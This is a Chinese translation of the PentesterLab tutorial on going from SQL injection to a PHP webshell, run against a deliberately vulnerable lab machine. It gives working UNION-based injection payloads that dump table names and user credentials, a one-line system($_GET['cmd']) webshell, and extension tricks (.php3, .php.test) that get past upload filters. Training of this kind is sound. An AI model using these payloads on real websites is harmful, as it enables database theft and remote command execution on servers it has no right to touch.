从sql注入到shell上传

从sql注入到shell上传

这篇教程是从pentesterlab看到的,是web渗透入门一个很好的教程,网站上有该课程的靶机实体下载,非会员的话下一个iso格式的靶机,然后安装即可。看完练完以后受益匪浅,所以想翻译成中文以便日后复习之用,有些过于基础的部分就不翻译了。

课程简介

这篇课程详细介绍了如何在一个php页面网站上进行sql注入,以及攻击者如何利用sql注入登陆管理员界面。

利用这个突破口,攻击者可以获取网站服务器的命令执行权限。

这次攻击主要分为3个部分:

  1. 主机指纹识别:收集该网站的相关信息以及使用的技术。
  2. 发现和利用sql注入:在这个部分,你将会学习到sql注入的工作原理以及如何利用sql注入来挖掘出有用的信息。
  3. 登陆管理员界面以及执行命令:最后一步你将会侵入服务器并获取代码执行权限。

主机指纹识别

主机指纹识别可以利用不同的工具来完成,比如可以使用浏览器,我们也学能发现这个网站是用php写的[注:网页是以.php结尾的]

检查HTTP头部

我们可以使用netcat或者telnet来观察头部,可以获取很多信息

$ telnet vulnerable 80

解释:

  • vulnerable是主机名或者服务端的ip地址
  • 80端口是网站使用的TCP端口(HTTP默认使用的是80端口)

通过发送以下的HTTP请求:

1
2
GET / HTTP/1.1
Host: vulnerable

通过观察服务器给我们返回的头部信息,我们可能能够知道服务器端的PHP版本信息:

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Date: Thu, 24 Nov 2011 04:40:51 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze3
Vary: Accept-Encoding
Content-Length: 1335
Content-Type: text/html

在这该服务端只能够通过HTTP来访问(443端口没有运行任何的东西),如果该服务只能通过HTTPS,那么telnet和netcat就没用了,此时openssl就派上用场了:
$ openssl s_client -connect vulnerable:443

解释:

  • vulnerable是主机名或者服务端的ip地址
  • 443端口是网站使用的TCP端口(HTTPS默认使用的是443端口)

用比如burpsuite设本地代理同样可以很轻松的发掘出信息。

使用目录挖掘工具

wfuzz这个工具可以使用暴力破解来探测该网站存在的目录和页面。

下面的命令可以来侦测远程主机的目录和页面地址:

$ python wfuzz.py -c -z file,wordlist/general/big.txt --hc 404 http://vulnerable/FUZZ

解释:

  • -c: 输出高亮
  • -z file,wordlist/general/big.txt: 告诉wfuzz使用worldlist/general/big.txt字典来暴力破解远程主机的目录名称
  • --hc 404: 告诉wfuzz忽略404页面(不存在)
  • http://vulnerable/FUZZ: 远程主机地址,其中的FUZZ会被字典中的内容替换

当然wufzz也可以来发现网页的php脚本:

$ python wfuzz.py -z file -f commons.txt --hc 404 http://vulnerable/FUZZ.php

sql注入的发现和利用

sql注入的发现

sql介绍

略,主要是介绍了select, update, insert, delete这四个命令,它们在网站上比较常用。

数字型注入

既然错误可以被发现,那么很容易发现web上存在的漏洞。SQL注入可以通过以下这些手段发现。

这些手段是通过利用数据库不同的表现来实现的,寻找并利用sql注入是否能成功是依赖很多的因素,虽然它们本身并不是100%可靠的,这就是为什么你需要不断尝试并保持给定的参数是不稳定的

我们举个例子,靶机中的某个网址是URL /cat.php?id=1,你能看到第一篇文章,下面的表格显示了不同id值对应的不同内容:


















URL显示的内容
/article.php?id=1Article 1
/article.php?id=2Article 1
/article.php?id=3Article 1

这个页面背后的PHP代码是这样的:

1
2
3
4
5
6
<?php
$id = $_GET["id"];
$result= mysql_query("SELECT * FROM articles WHERE id=".$id);
$row = mysql_fetch_assoc($result);
// ... display of an article from the query result ...
?>

通过用户提供的id值(_GET["id"])被直接用在了sql请求中。
比如,使用以下网址访问:

  • /article.php?id=1会产生以下的sql语句SELECT * FROM articles WHERE id=1
  • /article.php?id=2会产生以下的sql语句SELECT * FROM articles WHERE id=2

如果某个用户使用这么个网址去访问/article.php?id=2',那么产生的sql命令会是这样的:SELECT * FROM articles WHERE id=2',但是,这样的sql语句是会有问题的,就是因为那个单引号的作用,数据库就会抛出一个错误。比如,MySQL就会报出以下的错误:

1
2
3
4
You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server
version for the right syntax to use near
''' at line 1

这个错误信息会因为PHP设置的不同而选择是否选择显示在HTTP的响应中。

在url中的id值被直接显示在请求中,并且被认为是一个整数,这导致了允许你可以请求后台数据库去执行一些数学上的操作指令:

  • 如果你输入/article.php?id=2-1,数据库就会执行以下的指令:SELECT * FROM articles WHERE id=2-1,然后article 1的内容就会被显示在出来,因为这条指令相当于SELECT * FROM articles WHERE id=1(减法操作会被数据库自动的执行)
  • 如果你输入/article.php?id=2-0,那么数据库会执行以下的指令:SELECT * FROM articles WHERE id=2-0,然后article 2的内容就会被显示出来,因为这条指令相当于SELECT * FROM articles WHERE id=2.

这些方法就提供一个很好的发现sql注入的思路:

  • 如果访问/article.php?id=2-1,显示article 1的内容,/article.php?id=2-0显示article 2的内容,这个减法自动被数据库执行了,那么你很有可能找到了一种注入手段
  • 如果访问/article.php?id=2-1,显示article 2的内容,/article.php?id=2-0还是显示article 2的内容,那么你不太可能找得到一个数字型注入的点,但是就如我们所见,你有可能找得到一个字符串型的注入点
  • 如果你在url中加入了一个单引号(/article.php?id=1'),你应该能看到一个错误

即使某一个值是整数型的(比如categorie.php?id=1),它在sql查询时也有可能是被当做一个字符串来对待的,SELECT * FROM categories where id='1',sql允许这两种语法都是合理的,但是在实际的查询过程中,字符串型的查询会比整数型的要慢。

字符串型注入

就如我们在介绍sql入门的时候说过,sql中字符串型的查询会被放在双引号之间(比如下面的test)
SELECT id,name FROM users where name='test';

如果在web上进行sql注入,那么在字符串中多加一个引号会打破语法规则从而产生错误。更进一步的说,只要插入2的倍数个数那么多的引号语法上是没有问题的。总的来说,奇数个引号会产生错误而偶数个不会。

同时我们也可以在查询的末尾进行注释,所以大部分情况下你不会得到错误提示(依赖于查询的格式),你可以使用' --来进行末尾注释。

比如想在下面的test值上做一个注入:

SELECT id,name FROM users where name='test' and id=3;

会变为

SELECT id,name FROM users where name='test' -- ' and id=3;

这样子就相当于:

SELECT id,name FROM users where name='test'

然而test会产生错误如果我们会用这样的语句:

SELECT id,name FROM users where ( name='test' and id=3 );

因为当末尾被注释掉时,右括号也被注释了,这样左边括号因为没有匹配的而产生错误,你可以多试几个括号来找到一种不会产生错误的语句。

另外一种测试的方法是使用' and '1'='1,这种注入就不太会影响这个查询因为它不会产生错误的语法,比如注入之前的请求,我们可以看到语法仍然是正确的:
SELECT id,name FROM users where ( name='test' and '1'='1' and id=3 );

进一步来说,' and '1'='1是基本不会影响请求的语义,无论是否有注入,结果很可能也是相同的。我们可以将它与' and '1'='0进行比较,后者也不太会影响语法但是可能会改变请求中的语义。

sql注入不是一门科学,会有很多的因素影响测试的结果。如果你认为某个方法有效,那么你就尝试着找出查询语句是怎么处理你的注入语句,以确保它确实是可注入的。

为了找出sql注入点,你需要在所有该网站下的页面尝试不同的参数方法。一旦你找到了sql注入点,那么我们就可以开始下一节的学习。

sql注入的利用

现在我们在 http://vulnerable/cat.php 页面找到了一个sql注入点,为了更进一步,我们需要sql注入来挖掘出信息。为了达到这个目的,我们需要去学习下sql中的UNION关键字。

UNION关键字

UNION关键字用于将两个查询语句的结果一起显示出来。
SELECT * FROM articles WHERE id=3 UNION SELECT ...
既然我们是要从其他的表格中挖掘信息,那么这个关键字就可以用来构造注入的语句。查询语句的开头是由php自己产生的,所以我们不可能去更改它。然而我们可以使用UNION关键字来查询其他表格中的信息。

1
2
SELECT id,name,price FROM articles WHERE id=3
UNION SELECT id,login,password FROM users

在使用union的时候,最关键的一点就是这两条查询语句的列数一定得相等,要不然就会出错。

利用UNION关键字来注入

利用UNION关键字来注入的时候得遵循以下的原则:

  • 找到使用UNION时需要加载的列数
  • 找到在页面中显示出来的列信息
  • 从数据库的元数据表格中寻找信息
  • 从其他表格/数据库中寻找信息

为了执行sql注入,你首先得找出查询语句返回的列的数目。除非你有后台的源代码,否则你只能去猜测列数。
有两种方法可以去得到上述信息:

  • 使用 UNION SELECT 来尝试不同数目的列数
  • 使用 ORDER BY 语句

如果你使用了UNION语句,而且两个查询返回的列数不相同的时候,数据库就会抛出一个错误:

1
2
The used SELECT statements have a different
number of columns

你可以使用这一点来猜测列的数目,假如你用这么一个语句SELECT id,name,price FROM articles where id=1你可以尝试以下步骤:

  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1,语句1 UNION SELECT 1会返回一个错误因为这两个查询语句的列数不相同
  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,同样的因为列数不同,1 UNION SELECT 1,2也会抛出错误
  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3,因为查询列数相同,那么就不会产生错误。你甚至可以看到这些数字出现在网页或者网页源代码中

注意:这对MYSQL是有效的, 其他数据库不一定适用。对于那些要求UNION两边使用的相同类型的数据库来说,1,2,3也许就得改为NULL,NULL,NULL。对于ORACLE来说,select和from需要一起使用,所以此时UNION就得这么用了UNION SELECT null,null,null FROM dual

另外一种方法就是使用ORDER BY,ORDER BY一般被用于告诉数据库怎样对查询结果进行排序:

1
SELECT firstname,lastname,age,groups FROM users ORDER BY firstname

上述语句就会将结果按照firstname字段进行排序

ORDER BY同样也可以使用数字来告诉数据库使用第几列来对结果进行排序:
SELECT firstname,lastname,age,groups FROM users ORDER BY 3

上述语句会将第三列进行排序(age)然后返回结果

这个特点就可以用来探测列的数目了,如果在ORDER BY中使用的数字大于了本身数据的列数,那么数据库就会抛出一个错误(比如10):

Unknown column '10' in 'order clause'

这样你就可以用ORDER BY语句,只要逐渐增加使用的数目,直到比如使用了m之后抛出错误,那么说明查询语句中返回的列数就是m-1

具体步骤:略

取得数据

现在我们知道了列数,那么就可以开始往外取数据了。通过我们知道的错误信息,发现该网站使用的数据库是MYSQL。
使用这个信息,我们可以让数据库替我们执行命令或者返回数据:

  • PHP中连接数据库的用户是current_user()
  • 数据库的版本信息是version()

为了执行上述语句,我们可以从之前的表达式(UNION SELECT 1,2,3)中替换一些我们想要执行的语句值,来获取我们想要的信息。

注意在挖掘信息的过程中要时刻保持列数相同

比如你可以访问以下的网址来获取信息:

现在我们就可以从数据库中获取任何我们想要的信息了。为了获取与当前网页有关的信息,我们需要:

  • 当前数据库中所有表的名称
  • 关键的数据表格中所有的列名称

MYSQL从5.0版本就开始提供数据表来记录数据库,表格以及列的信息。为了达到最终的效果,我们得从这些数据表中获取相关的信息。这些数据表存储在一个名叫 information_schema 的数据库中。

我们可以使用以下语句来取得数据:

  • 所有的表格: SELECT table_name FROM information_schema.tables
  • 所有的列: SELECT column_name FROM information_schema.columns

通过与前面的语句和url混合,你能够猜测到用哪个网页可以发掘出这些信息:

  • 列出所有表格: 1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables
  • 列出所有列: 1 UNION SELECT 1,column_name,3,4 FROM information_schema.columns

不过这里有个问题,它返回的结果是一系列的表格和列名称,但是如果我们要访问特定的数据库,我们得知道哪些列属于哪些表格。幸运的是,information_schema.columns 也同时记录了表格的名称:

SELECT table_name,column_name FROM information_schema.columns

为了拿到数据,我们可以:

  • 将表格和列的名称放在不同的地方

1 UNION SELECT 1, table_name, column_name,4 FROM information_schema.columns

  • 使用CONCAT关键字来将表格名称和列的名称连在一起:

1 UNION SELECT 1,concat(table_name,':', column_name),3,4 FROM information_schema.columns

这样我们就能很清晰的看出table_name和column_name的对应关系了。

我们现在就有了很多的表格和列,第一个表格和列是属于MYSQL的默认表格,在页面源代码的末尾,我们能看到很多表格。

使用上述发掘出来的信息,我们可以从用户表格中取得想要的数据:
1 UNION SELECT 1,concat(login,':',password),3,4 FROM users;

这样我们就得了登陆管理员界面的用户名和密码。

登陆管理员界面并执行命令

爆破密码

在上一步我们得到管理员的用户名密码之后,发现密码是经过md5加密的(有32位),在这里该文章介绍了使用john工具来对密码进行爆破,我自己是直接找到了一个可以直接md5解密的网站,发现原密码是 P4ssw0rd。

上传webshell和可执行命令环境

一旦登陆了管理员界面,下一步就是找到如何登陆服务器并执行命令。

我们发现界面上有个地方是可以上传用户头像的,我们可以尝试着上传一个php的webshell。
我们可以使用最简单的一个webshell:

1
2
3
<?php
system($_GET['cmd']);
?>

这个webshell接收get参数并执行相应的系统命令,它需要被存储为php,比如webshell.php这种名称才行。

我们发现了上传文件的页面: http://vulnerable/admin/new.php,并尝试着上传脚本。

我们发现这个脚本并不能成功上传,因为系统禁止了.php后缀文件的上传,我们可以这样尝试:

  • 用.php3的后缀,这样网页渲染的时候还是会按照php来渲染
  • 用.php.test后缀,因为.test后缀不存在,那么网页就会按照前面的.php来执行渲染页面。

发现上述方法都是可以的。
上传成功以后我们找到上传后的地址,发现是http://vulnerable/admin/uploads/shell.php3,那么我们构造get参数即可让php脚本执行系统命令: http://vulnerable/admin/uploads/shell.php3?cmd=uname

这个脚本缺点在于每次运行脚本都是在一个全新的环境中,并不会有上一个命令执行以后的影响,所以每次执行命令都得重新开始。

总结

这个例子比较完整的展示了利用sql注入和webshell上传来达到控制服务器的目的,我们可以看出错误提示给了我们很好的提示,让我们能够知道很多的信息,所以一个解决方法就是在PHP设置中把display_errors这个选项给禁止掉,然后重启服务器,这样出现错误的话就不会显示在页面上。